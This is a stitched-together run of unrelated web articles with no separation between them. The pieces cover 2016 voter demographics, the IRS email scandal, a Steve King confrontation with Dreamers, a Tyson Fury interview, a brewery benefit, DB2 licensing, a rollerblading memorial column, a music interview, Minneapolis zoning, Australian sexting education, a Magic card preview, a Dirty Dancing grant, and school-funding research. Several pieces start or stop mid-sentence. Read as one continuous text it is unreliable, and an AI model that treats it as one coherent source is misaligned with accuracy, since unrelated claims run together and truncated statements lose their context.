The 2016 election was the first time that the “rising American electorate”—the growing population of unmarried women, people of color and millennials in the United States—made up the majority of all votes cast. In a sense, these voters have already elected a female president: 89 percent of African Americans, 66 percent of Latinos, 63 percent of unmarried women, 65 percent of Asian Americans and 55 percent of voters under age 29 cast ballots for Hillary Clinton.
This is not to say that these Americans vote based on gender. They make up a significant portion of the white working class, and a higher percentage of them voted for Barack Obama in 2012 than for Clinton in 2016. It’s clear the RAE is open to voting for a woman—they already have—if she engages on their social, economic and cultural interests.
These voters will only play a bigger role in deciding national elections as their numbers grow, so candidates have no choice but to appeal to them. The total number of RAE voters rose by more than 8 million between |
the e-mails requested by the committee yet did not apprise the committee of that fact, and they charged in a statement that the IRS is attempting to “cover up the fact that it convenient lost key documents in the investigation.”
If Lerner is the central figure in the scandal — Oversight Committee chairman Darrell Issa said Monday evening he believes she was the senior-most official involved — Flax may be an important auxiliary figure. E-mails produced in response to a Freedom of Information Act request from the group Judicial Watch show Flax giving the green light to Lerner’s request to meet with Department of Justice officials to explore the possibility of criminally prosecuting nonprofit groups — at the suggestion of Democratic senator Sheldon Whitehouse — for engaging in political activity after declaring on their application for nonprofit status that they had no plans to do so.
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E-mails uncovered by the committee last week showed that, in preparation for her meeting with the Department of Justice, Lerner and one of her advisers transmitted 1.1 million pages of data on nonprofit groups, including confidential taxpayer information, to the Federal Bureau of Investigation, potentially in violation of federal law.Rep. Steve King (R-Iowa) had a tense confrontation with two Dreamers in Iowa that was captured on video and posted to YouTube on Monday.
The video's description identifies the pair as Erika Andiola and Cesar Vargas. In the video, Andiola approaches King and Sen. Rand Paul (R-Ky.), telling them she's a Dreamer who's originally from Mexico but was raised in the United States and is a graduate of Arizona State University. (Paul quickly got up and left.)
"I know you want to get rid of DACA, so I want to give you the opportunity 'cause you really want to get rid of it, just rip mine," Andiola tells King as she hands him her identification card. "Go ahead and do that."
DACA, or Deferred Action for Childhood Arrivals, exempts many undocumented immigrants who arrived as children from deportation for a renewable two-year period and allows them to work in the United States. King voted on Friday for a bill that would end the program.
"I just don't understand why you've been wanting to do that," Andiola says to King, who then stands up to confront the woman.
"You're very good at English," King says as he grabs Andiola's hand. "You know what I'm saying."
"I was raised in the United States," Andiola replies.
"Right, so you can understand the English language," King replies.
Vargas then speaks up, telling King he "wanted to serve my country after 9/11, as an American, even though I came here when I was 5 years old," and revealing he was rejected from the military because he was undocumented.
"DACA has given me the opportunity to give back to the country," Andiola says.
Vargas and Andiola are prominent immigration activists and co-directors of DRM Action Coalition, a Dreamer-led group that advocates for reform. Andiola worked for Rep. Kyrsten Sinema (D-Ariz.) last year after receiving work authorization through the Deferred Action for Childhood Arrivals program, but left her job in December to fight her mother's deportation proceedings. She has been in the U.S. since she was 11 years old. Vargas, who came to the U.S. at the age of 5, passed the New York bar examination but can't fulfill his goal of practicing law in the military because of his undocumented status.
In a follow-up video, Andiola weighed in on the confrontation with King.
"He really showed his ignorance and his hatred toward us," she said.Tyson Fury: Happy to stand and trade with David Haye
Haye boasts a fearsome knockout record and has vowed to blow away bitter rival Fury in their heavyweight fight next month, live on Sky Sports Box Office.
Fury was floored heavily in a recent win over Steve Cunningham, but remains bullish about his chances of beating Haye in a brawl.
Haye often boxes off the back foot against bigger men and Fury admits he would rather stand and trade with the Londoner instead of pursuing him around the ring.
"If he comes for a fight then it's Christmas," Fury told boxrec.com.
"If he goes on the defence like he did against (Nikolay) Valuev, goes away and tries to come in with two or three shots, then it might be more difficult because I've got to walk him down and get on top of him and hit him with some hard shots, but beware of getting hit myself.
"If he wants to come for a gun slinging match from word one then that will play into my hands because I'll keep a tight defence. I ain't 40-years old and I ain't John Ruiz and I ain't Tomas Bonin, I'm Tyson Fury. I'm better than all of them.
"If he thinks he's in for an easy ride or he thinks he is going to fight someone like Ruiz again or Audley Harrison, he'll be waking up at Christmas."
Predictions
Haye is a hot favourite with the bookies and a number of pundits have picked a win for the two-weight world champion.
Fury is paying little attention to predictions and believes the fight will prove once and for all whether he is good enough to fight at the top level.
"David Haye is the betting favourite, but it's all on past performances," said the unbeaten 25-year-old. "He's been at the highest level in heavyweight boxing, he's been a world champion. It doesn't come any better than that.
"I'm yet to achieve those goals and as far as I'm concerned he's had his glory days. He's done what he's going to do and I'm just going to put him out of his misery, because this is my time to shine.
"He's had his chance, he was a world champion and he lost to (Wladimir) Klitschko and I'm going to beat him on the 28th. No matter what the bookies say, what these boxing pundits say, what these so-called experts say, I'm going to win.
"If I don't win then he's done me a big favour by beating me by knocking me out. It will put me out of my misery as well because being in these camps is not a lovely place to be and if I'm not good enough I want to be exposed right now."WHAT: Lance’s Brewery Tour is a documentary film following hero and beer historian Lance Rice across the country to over 60 beer breweries gathering information to write his book. Lance is also autistic. Lance is visiting The Lost Abbey / Port Brewing Co. this Friday, touring the brewery and interviewing owners and staff. A portion of beer sales from the day will go to Lance’s Brewery Tour and help Lance’s dream come true.
WHO: Lance Rice (Beer Expert, autistic); Aaron Rice (Director of Lance’s Brewery Tour, Lance’s nephew)
EVENT:
Friday, September 27
Port Brewing/The Lost Abbey
155 Mata Way
San Marcos, CA 92069
All day Friday, The Lost Abbey / Port Brewing Co. will host a Happy Hour for Lance with a portion of pint sales going to Lance’s Brewery Tour. Lance and Aaron will be enjoying the afternoon hanging out and having fun all evening starting at 4PM.
Lance’s Brewery Tour is being brought to life by support from breweries, the beer and autism communities and the public. Lance has received invitations from breweries in all 50 states as well as many international breweries and is the toast of the beer world. He has also been invited to speak to students with autism at the Temple Grandin School and meet many others touched by autism throughout his journey. From the heart of Ohio an unlikely hero has emerged and his message of hope is already inspiring the world.
This is our chance to stand behind one of the beer world’s most inspiring historians – and give hope to all those who are touched by autism.
For more information visit:www.LancesBreweryTour.com
Be sure to follow us on Social Media to get to see our beer adventures live as we invade more breweries and discover more awesome craft beers from all over the world! Cheers humans!
Facebook | Instagram | Twitter | Snapchat: beeralienApril 4, 2012
When Conor O’Mahony briefed me about DB2 10, he kept commenting that cool features he was talking about could be found in all editions of DB2, even the free one. So I asked what the limitations were on free DB2. He researched the matter and got back to me — and they sounded like what appeared to have been the limits when free DB2 was first introduced, over 6 years ago.
I tweeted about this, and was very fortunate that Ian Bjorhovde spoke up and said it wasn’t correct. Some scrambling ensued. It seems that the main sources of error were:
People tend to confuse DB2 Express and DB2 Express-C; only the latter is free.
What IBM said about the limitations DB2 Express-C upon its introduction 6 years ago should not be interpreted in line with what a plain reading might suggest.
In particular, we shouldn’t take IBM’s repeated 2006 statements that
DB2 Express-C may be deployed on … on AMD or Intel x86 systems with up to 2 dual-core chips. 4 GB of memory is the maximum supported.
to mean that you were ever allowed to use DB2 Express-C with 4 cores, nor with 4 GB of RAM.
To clarify things, Conor sent over email with permission to quote, as follows:
DB2 Express-C (C for Community) was introduced in 2006. There is no charge for DB2 Express-C. When originally introduced, DB2 Express-C could use up to 2 processor cores and 2GB of RAM. As of 3 April 2012, memory entitlements were increased and DB2 Express-C can now use up to 4GB of RAM. There is no database size limit, no limit on the number of instances or databases per server, and no restriction on the number of users. The supported platforms include: Linux [x86 (32-bit), x86_64 (32- and 64-bit), PPC64 (POWER 64-bit)] and Windows [x86 (32-bit), x86_64 (64-bit)]. If you want to increase processors, memory, or supported features, DB2 Express is available at a cost that is either based on processors or users. When originally introduced, DB2 Express could use up to 2 processor cores and 4GB of RAM. In 2007, DB2 Express processor entitlements were increased to 4 processor cores. As of 3 April 2012, memory entitlements were increased and DB2 Express can now use up to 8GB of RAM. So, to summarize: the “no charge” version is called DB2 Express-C can use up to 2 processor cores and 4GB of memory; the lowest chargeable edition is DB2 Express which can use up to 4 processor cores and 8GB of memory. DB2 Express-C includes features like Time Travel Query, pureXML, Graph Store, Spatial Extender, SQL Compatibility, and Backup Compression. DB2 Express adds features like Label-Based Access Control and Row & Column Access Control. In addition, you can purchase the High Availability Disaster Recovery (HADR) feature for use with DB2 Express.
So if I’m reading that correctly, the real story is:
For over 6 years, the ceiling on DB2 Express-C didn’t go up at all.
As of this week, you can use twice as much RAM as you could 6 years ago, but still the same number of cores.
“Generous” is not the word.
CommentsS
unday, bladers across the world skating in memory of Brandon Jesus Negrete. Rollerblading lost a really important brother when Brandon died in October at the age of 31.
My experience with #forevernegrete817 was even more than a Sunday session in Oakland. It was a homecoming as well. For the last two-and-a-half months, I’ve been traveling across the U.S. (with a dip into lovely Canada) to promote my writing. It was a successful adventure and it was great to meet up with old friends, meet new friends, and learn about all the strong scenes all over this gorgeous country (talking specifically about you, Idaho and Montana).
I was fortunate to experience the hospitality many bladers, skate with even more, and was even luckier they decided to come out and hear me read.
But it was a good to be back in the Bay with friends I’ve been away for longer than any other time since moving out here five years ago. They’ve become my family, and because of them, I’m even more glad to be home.
That, for many bladers, was what it was all about.
Here in lovely drought-ridden Oakland, our sesh extended from JSF godfathers to young groms about to leave for college. We started at the Madison ledges (Spot No. 1 for the 2014 Oakland Blade Jam), made bad dietary decisions at 7 Eleven, and moved to the nearby Westlake Elementary (When I met its principal at a bar, I told him I skated his school and he bought me a shot of tequila).
These two spots are some of the most over-skated spots in Oakland, but, as always, the homies looked around for new things to do and did them. That’s what big homie seshes are all about.
And of course, there were the usual guys visiting from out-of-town. Because who doesn’t want to visit Oakland?
I’d visited so many places this summer and did so much over 73 days on my one-man tour that I never had enough time to let it sink in. Now that I’m home—where the gravity always seems the strongest—it’s great to know that those who will help me adjust to the normal day-in, day-out are my fellow weeknight and weekend warrior blading brethren.
Travel all you can, but never forsake the visceral reaction to coming home. And to me, the Bay is my home. It has after all, some very important things for me here, and some of them don’t even rollerblade.
It felt all nostalgic, as Sunday was supposed to be. Because we were skating to remember Negrete. Those of us who knew him can never forget him, but it’s never a bad idea to skate to honor a homie. That’s why they have the James Short Memorial Session and New Yorkers skate for Cozmik. That’s why the Iowa homies always remember Michael Garcia. That’s why the Be-Mag message board always remembers Jared Weise.
The list goes on and it will only get longer. That’s inevitable. You will lose friends and loved ones the longer you live.
The way you adjust to it, however, is entirely up to you.
Brandon Jesus Negrete was truly an artist. Beyond being able to put together a quality finished product, he was able to inspire. It wasn’t just about the videos he made, but the process in which he did it that was the real inspiration. Brandon had fun, was humble down to the core, and reflected great respect to the people he filmed by making great pieces of blading history and uniting some of the best names in the sport while doing it.
He was simply a rad dude, which is why so many of the best projects—namely Shredweiser’s Americana Tour to Hatian‘s corresponding documentation of it—have been dedicated to his memory.
Brandon was an influential person, and losing someone like that is never easy, even if you just knew him from his public persona. When the world learned that Robin Williams took his own life, they felt a loss in their own because of the decades of entertainment he provided to us, especially if we saw Hook as a child, One Hour Photo as an adult, or even if it goes back to Mork & Mindy on Nick at Nite.
What’s worse is when you lose someone influential you knew on a personal level, which Brandon was to so many in rollerblading.
I’ve lost enough meaningful people in my life that I’d give anything for a Jor-El or Dexter’s dad-type experience to recall their wisdom through the years after they’re gone. Instead, we can only guess what they’d say and hope little is lost in translation.
But while we’re forced to cope with the loss of someone important to us, we must also have the resolve to continue to live as they would with one more day on the Earth. Imagine what someone you knew would do with that one last day.
Sure as fuck would be something they loved doing.
They’d skate another day. They’d get that clip. They’d spend time with the homies. They’d stop worrying and let themselves enjoy what they have in front of them.
Since they can’t, we all should.
I’ve been thinking of the many friends I’ve lost, most recently my friend Dean Johnson. We co-hosted an early (as in 5 a.m.) morning radio show on our college’s radio station. We had a blast doing it because we knew virtually no one was listen, which gave us complete freedom. That was until the complaints to the FCC came in (and I was fired), but mainly because of how our wildly different personas balanced each other out. He was killed in a car accident before his 30th birthday.
Knowing that if he walked into my place right now with a 24-hour expiration date, we’d record ourselves discussing the news, arguing over what kind of music to play, and writing. I plan on starting a podcast about news, blading, and other stuff I’ve crammed into these columns, and each and every episode is dedicated to Dean Johnson.
Because that’s what I know my buddy would have told me to do, should he still have a voice to do it. Instead, I have his and other voices from my past tugging at my brain, instructing me what I should do until the day all these cigarettes catch up with me and I get some firsthand experience whether this God guy is real or not.
I’ve been really slacking on writing Blader Digests while on the road, but I know Brandon would be telling me to always write more. So, bud, this slathering of nouns and verbs across a white page is for you.
Thanks for being who you were. Hopefully everyone put together something Sunday worth filming from wherever you are. If not, we’ll keep trying.
But if you’ve decided to become a ghost and wander around SoCal, come check out my readings next weekend. Santa Ana on Saturday (C’mon, Taylor Crawford and free tacos!) and San Diego on Sunday.
Blade or Die,
— Brian Krans
P.S. — I had to quit my job to do this tour, so until I can find another, I’m getting by from my book sales. If you haven’t ordered any of them yet or are behind on all three, you should. Enough people seem to like it so I can say it’s not a total waste of money.
And if you hate it—and order it directly from me—I’ll include the matches to burn it with when you’re disgustingly done.With his brand new EP out now, 2016 saw electro-pop artist Draper play Reading Festival and gain much acclaim from BBC Introducing and Radio 1. Skillfully collaborating with a range of other artists and vocalists, including Kyko and Prides, Draper creates sweeping, uplifting electronic anthems.
We caught up with Draper to find out more…
Hi Draper, how are you today?
Great thanks! It’s a bright sunny day in London.
You’ve just released your new EP Luminous – congrats! Is there a there a particular theme running throughout?
Thank you! The theme is uplifting, when I’m writing if it doesn’t make me get up out my seat with excitement then it goes in the scrap pile. These tracks on this EP did just that. Conceptually a lot of the songs are about a relationship between two people, not necessarily in a particular or coherent order but a lot of the features have lyrics touching on different motions that people go through when starting a new relationship and how often problems can result from insecurities and innuendos. I’m sure some people will be able to relate to at least one or two of the tracks!
Out of the six tracks on the EP, which is your favourite and why?
I can’t say I have a favourite because I love them all, but a track particularly close to me is ‘Who Are You’ because I sung on it. This track personally means the most to me because I put my vocals out there for the first time! The reaction has been great towards all of the tracks on the EP and singing on one myself for the first time very much represents a break through in terms of my confidence as a performing and recording artist, away from being a writer/producer, so I’m just really glad that one in particular has been received so well.
You played on the BBC Introducing and Radio 1 Stages over the summer. What was your festival highlight of 2016?
Reading Festival 2016 without a doubt, the crowd were so engaged that it made my first proper festival performance an absolute pleasure and blast! I opened up the Dance Stage which was really nerve-racking, and was a bit concerned that not a lot of people were going to show up, so walking on stage to a few thousand people singing the words to my songs back at me was just the best.
You’ve worked with Prides in the track ‘Break Over You’. Do you feel as though this collaboration led to a different sound to the music, and if so why?
I’d say that’s the case with every feature performance I have. When I write with an artist I want them to bring their flair and unique style to the performance, that way we end up with something that we both feel connected to! It also makes for a better end result. So yes, one of the main points of doing these collaborations is to really explore where we can take the sound and make it truly unique to the style of artist that’s featuring on that respective track. The Prides one was really fun throughout though and absolutely loved working with Stuart from the band on that.
Who has been your favourite person to collaborate with?
I couldn’t pick one specifically out of the awesome bunch, but everyone on this EP was a delight to work with. I had worked with BB Diamond before and that track just came together very naturally as it seems we’re a good fit for each other in terms of vocal and production. Outside of the EP, the Sykes, Prides and Abi Ocia collaborations were amazing to do and led to three very different sounding singles. And outside of my own singles, I absolutely loved working with Låpsley on ‘Falling Short’ and ‘Hurt Me’, as well as Abi Ocia’s debut single ‘Running’ which I co-wrote and produced.
What drew you to electronic/melodic music in particular?
My love for pop music. When I first started writing the dubstep genre was coming up but I didn’t want to do wubs and gritty basses so I made pop dubstep. I love something that really takes you away melodically. People describe a lot of my instrumental stuff as “mood music” which I get the meaning around how that phrase is intended, but I supposed at the same time I want all of my music to invoke a mood or a feeling from someone listening – otherwise it wouldn’t really be music! The uplifting melodic music I make is just reflective of my personality I guess – I’m generally quite an upbeat happy guy!
Can you describe your sound in three words?
Super fun escapism.
And, finally, what does 2017 have in store for Draper?
I have a show on 3rd February at Koko coming up – I’ve played there a bunch already and it’s always awesome to play. Then there’s SXSW coming up in March for which I am pumped to be playing my first US live dates. And then, more singles, more writing/production collabs and essentially a lot more Draper at festivals…
Huge thanks to Draper for answering our questions! You can order Luminous here and get tickets for his upcoming Koko show here.I’ve been re-reading the book Zoned Out on the bus ride to and from work lately, and it got me thinking about Minneapolis and our zoning history. While our whole city follows a rigid grid built largely along streetcar lines, some neighborhoods are clearly more dense than others.
Minneapolis implemented its first zoning code in 1924, two years before the landmark US Supreme Court decision Euclid v. Amber, right in the thick of sweeping nationwide changes in land-use and transportation. While parking minimums were not adopted in the first pass of the zoning code, they were implemented in a major revision in the 1963 code. This document from 1960 provides a good overview of the two codes. So, to what extent did the 1924 code alter our city’s landscape?
There are, of course, many factors that played into land-use and transportation choice changes between the turn of the 20th Century and post-WWII America. However, I present these three images for digestion:
The blue outline is a rough sketch (non-GIS) of Where Minneapolis had developed to by 1924. It’s rough, but pretty close.
Here is the same outline combined with today’s primary zoning districts. Darker shades within each land-use silo (ex. residential, commercial, etc) signal the potential for more intense land uses. Though it’s not 100% accurate to view today’s zoning as a representation of actual use (there are many surface lots in commercial and downtown areas, for example), on the whole our zoning very much follows existing form.
Perhaps this view lacks enough granularity, but it certainly seems as though there was a definite change from mixing of uses, both within structures and within sub-neighborhoods, inside the line compared to outside. Post-1924 commercial activity is clearly limited to major corridors (along streetcar lines). Anecdotally, they seem to be the iconic single-story streetcar-era buildings more often than the denser parts of the city. This handling of commercial and residential is a major difference between US zoning and the more permissive zoning found in other countries, such as Germany.
Another view of intensity:
Population density seems to follow the pattern of current zoning – noticeably higher within the pre-1924 ring than outside it (save for an aberration in North Minneapolis).
I won’t try to draw any specific conclusions here. Like I said earlier, there were plenty of economic, social, technological, and political changes in the 1920s. Cars became affordable to the masses, people could afford detached houses, and so on. But I think it would be naive to say zoning played no part in the clear difference in our land use intensities.
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Streets.mn is a non-profit and is volunteer run. We rely on your support to keep the servers running. If you value what you read, please consider becoming a member.Education departments too focused on prevention and cyber safety rather than respectful relationships and gender equality, say youth development experts
The response of education departments around the country to teenagers taking explicit images of themselves and sharing them has been “woefully inadequate”, outdated and overly paternalistic, youth development experts say.
It follows confirmation by the Australian federal police last week that it is investigating a website encouraging pupils to upload sexually explicit images of their female, underage peers and involving students from 70 Australian schools.
Guardian Australia contacted every state and territory education department and asked how they educated students to respond if they received an explicit image of one of their peers.
Police investigate claims schoolgirls across Australia targeted by site hosting explicit images Read more
In the ACT, Western Australia and Queensland, parents were described as having a pivotal role by monitoring their children’s behaviour on the internet outside of school hours. In New South Wales, students are taught the importance of not sharing “inappropriate images and of reporting such activity to relevant staff”, a department spokesman said.
Prevention by not taking the images in the first place was also an overarching theme among the responses from the departments, as were lessons around cyber safety in general.
Many departments, including the Northern Territory, South Australia and the ACT said schools used the resources provided by the federal government’s e-safety commissioner.
“One lesson within these resources focuses on the topic of ‘sexting’ and clearly teaches students the legalities of receiving and sending explicit images of themselves or other people,” a Northern Territory department spokeswoman said.
“In summary, the lesson explains that the production, storing and sharing of images of individuals under the age of 18 can amount to a criminal offence under applicable commonwealth, state or territory laws.”
The ACT education directorate was the only department to specifically mention that students were taught about respectful relationships, and safe and healthy emotional and sexual relationships.
Professor Catharine Lumby from Macquarie University, whose research spans young people, media consumption and relationships, said educational programs about digital content needed to start from a premise that young people will take explicit images of themselves, rather than telling young people not to snap the images altogether.
“Prevention is a pipe dream,” Lumby said. “The way adults and the people making policy approach these issues are often moralistic, authoritarian and paternalistic, and teenagers just laugh at the people who call themselves cyber safety experts.
“Teenagers also find it amusing that adults and experts call this ‘sexting’, because teenagers themselves never use that term. Parents and educators are just fundamentally out of touch, and we will get nowhere until we let young people start by telling us about their own perspectives on these practises in a safe and open environment.”
Lumby, who has worked with high school students and asked them for their views on sharing images as part of research, said young people should never be put down or shamed for taking the images.
“Taking these images is a very common practice, it is part of how young people express themselves sexually and form relationships now, and we must give them space to explore that safely and manage any risks,” Lumby said.
Parent says school blamed female students for explicit images posted online by others Read more
“We’re living in a fantasy land if we think stopping boys and girls from taking the images is the right approach.”
Good education would involve talking with students about the double standards around gender and sexuality, she said, and addressing the attitude that meant some young men were prepared to share images of women without consent and make derogatory comments about them.
“Girls are under enormous pressure to be attractive, but if they’re seen to be flaunting it, then they’re at risk of being called a slut,” she said. “Girls are in a no-win position. The good thing is, a lot of young men recognise that and don’t think it’s fair.
“Conservative attitudes about gender are the real problem here, and a lot of experts and educators have conservative ideological and religious agendas.”
Dr Amy Shields Dobson, a University of Queensland postdoctoral fellow and author of the book Postfeminist Digital Cultures: Femininity, Social Media, and Self-Representation, said part of the issue was resources provided to schools were “woefully inadequate”.
“So many of the resources put an emphasis on cyber safety and prevention without a great emphasis on ethics, respect and responsibility,” Dobson said. “To be fair to teachers, they aren’t given great materials to work with.”
Young people were increasingly challenging the logic and fairness of the narratives presented to them, she said, noting the unfairness of girls being labelled “sluts” for sexual behaviour that boys are rewarded for.
“What seems more difficult for youth, as for adults, is to imagine the possibility that girls are legitimately entitled to digitally mediate sexuality or express sexual desire, for example, through taking, sending or posting images of their bodies via phones privately, or on social network sites more publicly,” she said.
“Boys’ right to public bodily display and sexual ‘attention seeking’ on and offline is largely assumed. Tools are needed for going beyond the discourses available in common sext education resources to develop critiques of sexism as part of creating gender equity in schools.”
Dobson said education needed to explore and challenge norms around masculinity, and Dobson said that “sext education” needed to promote schools as places of friendship and support, while challenging norms around masculinity.
A more nuanced public conversation about social media as spaces of legitimate courtship and sexual exchange for youth was also required, she added.
If you are aged between five and 25 and need to speak to a counsellor, call Kids Helpline on 1800 55 1800.
The national sexual assault, domestic and family violence counselling service, 1800 RESPECT, can be reached on 1800 737 732.Warping Wail is Top Level Podcast’s exclusive preview from Oath of the Gatewatch
“Great Whale was a warping [whale]… When done right.”
-Patrick Chapin
Warping Wail is an exciting card that will be sure to find play in Standard and larger formats.
As a card with three, disparate, and slightly more-expensive-than-expected abilities, Warping Wail seems like a generalist; that is, it seems like a card that you play for its versatility more than any of its particular abilities.
Yet!
Warping Wail is a bit of a surgeon, not just a generalist.
Imagine a Modern (or Legacy) Merfolk deck with both Cavern of Souls and Mutavault (lands that are effective in-theme in a tribal deck but generally tap for colorless mana)… Warping Wail would be a great card in a Merfolk deck! Because it is colorless it is (duh) not blue… Most or all of the creatures in a Merfolk deck, however, are blue.
How is a mostly- or mono-blue deck supposed to handle a Goblin Piledriver?
All of a sudden Warping Wail starts looking really interesting, right?
Goblin Piledriver has only one power (before it starts having lots and lots of power), so the not-blue (colorless) Warping Wail can target it. You might not want to play Warping Wail just for the “Exile target creature with power or toughness 1 or less” ability, but in the context of a card that does two other interesting things, your generalist just became a Goblin Piledriver-assassinating surgeon!
Resident Genius Michael J. Flores and Pro Tour Champion Patrick Chapin spend this entire podcast spit balling other relevant uses for Warping Wail, from sniping mana accelerators to taking out premium-haste-threat-to-be Eldrazi Obligator… And there are two other abilities!
Learn about them all in “Warping Wail is Our Exclusive Preview”
Direct Download
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Deckade at Amazon.comPatrick Swayze and Jennifer Grey starred in the 1987 movie “Dirty Dancing.” This year, a three-episode TV series based on the original movie will film in North Carolina, according to state documents. (Photo: Artisan Entertainment/Special to Citizen-Times)
A TV series remake of the 1987 drama "Dirty Dancing" starring Patrick Swayze will film in Western North Carolina, according to documents from the North Carolina Department of Commerce.
In March, the production received a $4 million grant from the state, which will come in the form of reimbursements, as part of the NC Film and Entertainment Grant.
According to the project's grant application, the 2015 production will air as a three-episode TV miniseries on ABC Networks.
A synopsis on the form describes a "night of singing and dancing as we update the classic film 'Dirty Dancing' as a three-hour event."
The exact location of filming was still undetermined at the time the application was filed, but Asheville, Cashiers, Winston-Salem and Greensboro are all mentioned. High Hampton Inn and Resort in Cashiers, the Stevens Center Theater in Winston-Salem and the Carolina Theatre in Greensboro are all listed as potential settings.
One note on the application indicates High Hampton would be the "main shooting location."
"It's probable that we'll need to renovate and improve a current 'boathouse' structure at High Hampton Inn to accommodate a few dance scenes," the application continues. "It's a historic building that has sat empty and unused for years but has great historical significance. It's a striking location overlooking the lake and would be highlighted in the film but could be kept and used in its improved state after we leave."
"We're thrilled and committed to North Carolina," John Valentine of Lionsgate production company said in an email dated March 6 to Mark Poole of the Department of Commerce.
A spokeswoman for Lionsgate declined further comment.
To maintain eligibility for the grant, Lionsgate must spend $16 million on the project in North Carolina.
According to the application, principal filming would take place between April 6 and May 28, and post production in North Carolina would take place between May 29 and July 10.
Application materials indicate the production will create an estimated 1,225 jobs in North Carolina, including 900 extras, 30 cast members and 225 "crew/full time" jobs. Total personnel is expected to be 1,300.
The story of "Dirty Dancing" is set in the Catskill Mountains in New York, but the original 1987 movie was filmed in Lake Lure where an annual festival still commemorates the iconic scenes.
To qualify for the grant, the TV series could not include any material that is "obscene" or "harmful to minors." Perhaps as a response to this requirement, the application details potentially sensitive material.
"This production does still have the story line that involves a dancer getting an abortion, but it does not specifically say that is what it is," the application reads. "There are some sexual references, including two different scenes of couples in bed."
Lionsgate has produced several other projects in North Carolina, including The Hunger Games. "To date, we have spent over $55 million on qualified North Carolina production expenditures," the application states.
According to the application, at least 75 percent of the funding required to make the project is already in place.
Alli Shearmur is listed as the producer.
The Economic Development Partnership of North Carolina announced the grant recipients in early April but did not disclose details about the Lionsgate TV project.
All of the grant money was distributed this month to a total of three projects. In addition to the WNC project, "Under the Dome," a CBS series filming in Wilmington, will receive $5 million, and "Late in the Season," a basketball movie set in Davidson, will receive $1 million.
The grant money will channel a combined $10 million in reimbursements to production companies that spend money in the state this year. The General Assembly designated those funds for distribution in fiscal year 2015, which ends in July.
The companies are projected to spend a combined $60 million in the state.
The grant system replaces more lucrative tax cut incentives |
Opportunity, described a massive study that had been commissioned by the National Center for Education Statistics in response to the Civil Rights Act of 1964. Many results discussed in the report concerned other equity issues, but its third section focused on the determinants of achievement and came to a surprising conclusion—that factors related to students' home backgrounds and peer groups in their schools were major generators of achievement, but that school quality and level of school funding had little or no impact after home and peer factors were taken into account.
The Coleman report was lengthy, its procedures and statistics were complex, and its text was murky—and, as a result, almost nobody actually read it. The press, however, widely trumpeted its surprising conclusion about the ineffectiveness of school factors. Thus, the public was led to believe that research had “proven” that schools (and their funding) had little effect, and the fat was in the fire. Conservative forces hostile to the public sector rejoiced because their negative opinions about public schools had been vindicated. Educators, political liberals, and advocates for disadvantaged students became alarmed and began to “explain away” the report's conclusions and to attack its authors.
Somehow, at the time, almost nobody noticed that the report contained major errors likely to have reduced the size of its estimates for school effects on students' achievements. Among other problems, the report's authors had failed to use available scaling techniques to validate their procedures, had made serious mistakes when assigning indicators to major variables, and had failed to measure crucial variables now known to be associated with school effects. In addition, the report had used non-standard procedures for statistical analyses, which generated falsely deflated estimates of school effects.
To summarize, the Coleman report was badly flawed, although its flaws were not widely understood at the time. Its findings were vigorously promoted, however, and its suspect conclusion that level of school funding has little impact on student achievement passed into the public domain as a confirmed fact.
Efforts by economists. At about the same time, a sizable group of economists began to publish studies trying to estimate the size of effects (if any) of investing in public education. In doing so, they were responding to ideas expressed by influential leaders in their field. Milton Friedman (1962) had begun to preach a doctrine that favored privatization of most public enterprises (including education), and, about a decade later, Kenneth Boulding (1972) noted that increases in education funding seemed not to have been associated with greater student achievement. These ideas led some of their economist colleagues to pose models for studying the effects of education investments. Many studies based on these models have since appeared, and most have not reported significant net effects of school funding, a fact noted by Eric Hanushek, an influential economist with conser-vative political ties. Hanushek has declared repeatedly that level of funding is not related to achievement in the real world of public education (see, for example, 1989, 1996a, 1996b)—a conclusion welcomed by those opposed to funding reform proposals.
Hanushek's claims have also attracted opposition. For example, meta-analysts Rob Greenwald, Larry Hedges, and Richard Laine have noted that the bulk of studies by economists have reported positive net effects of funding, and if one combines their findings through statistical aggregation, the resulting pooled estimates suggest sizable effects of funding (Greenwald, Hedges, & Laine, 1996; Hedges & Greenwald, 1996; Hedges, Laine, & Greenwald, 1994). Educators and those motivated to redress inequities in funding have welcomed this conclusion, but Hanushek and others have attacked it, and the issue has remained unresolved.
The major trouble with this quarrel is that most of the studies reported by economists have involved serious methodological problems. Most used small samples that did not represent the full range of schools, and most did not examine school funding directly but rather looked at funding-associated school characteristics—such as teacher salaries, student-teacher ratios, or administrative costs—that may or may not be tied to student achievement. Many also employed questionable measures and inappropriate techniques for statistical analysis. Thus, as a group, these studies are poor tools to use for estimating funding effects in the real world, and it is not clear that much can be learned about the issue by reviewing their findings. Nevertheless, such reviews have certainly appeared and have helped derail efforts to reform school funding practices in the United States.
Strong Studies and Their Findings
Fortunately, other researchers have published a number of strong studies on the topic, and we can gain useful knowledge by reviewing their results.
Features of Strong Studies
As in other fields, the best way to pin down the effects of differential funding would be to conduct experiments in which research subjects are assigned randomly to different process conditions. Needless to say, it would be unethical to design an experiment in which students, classrooms, schools, or perhaps school districts are assigned randomly to conditions of adequate and inadequate funding. Unfortunately, however, such conditions exist in the real world of U.S. education, so our next-best strategy is to examine the outcomes of such conditions using well-designed surveys.
As a rule, all strong surveys collect data from reliable sources, make use of validated measuring and scaling procedures, and employ appropriate statistical tools for analyzing data. In addition, strong surveys on the effects of school funding should meet three specific conditions. First, they should be based on sizable samples that include examples of both well-funded and impoverished schools. (Normally this is done by drawing a large and representative sample, by random means, from schools across the country or a state that exhibits a wide range of funding conditions.) Second, such studies should include statistical controls for level of income, socioeconomic status, or other types of advantage in the home or community that students bring with them to the school. And third, such studies should examine effects associated with only one level of aggregation—for example, if the study examines the effects of funding for classrooms, then all other variables used in the analysis should also apply to classrooms. The reason for this last requirement is that the sizes of statistics change as one goes up the aggregation ladder. If effects from more than one level of aggregation must be examined, then an appropriate multi-level technique must be used for analyzing data.
Surveys that meet the conditions described above have many advantages, but even strong surveys have difficulty pinning down causal relations. Why is this so? Let us assume that a survey examines a sample of schools in which level of funding varies and discovers that schools with greater funding also have higher levels of student achievement (controlling for level of home or community advantage). Does this mean that the funding differences generated the achievement outcomes? Hardly. Perhaps causal relations in the real world go the other way, so that where student achievement is higher, parents are more willing to provide greater funding for schools. Or funding differences might be affected by other conditions in students' homes or communities that no investigator has yet thought to examine.
The point is that no matter how carefully one constructs a survey of funding and its outcomes, critics may point out that it has not ruled out all alternatives that might explain its findings. Thus, to establish the case for a causal relation, one must conduct several surveys, using different techniques, which collectively rule out all reasonably credible, alternative processes that might account for the apparent effect one is studying.
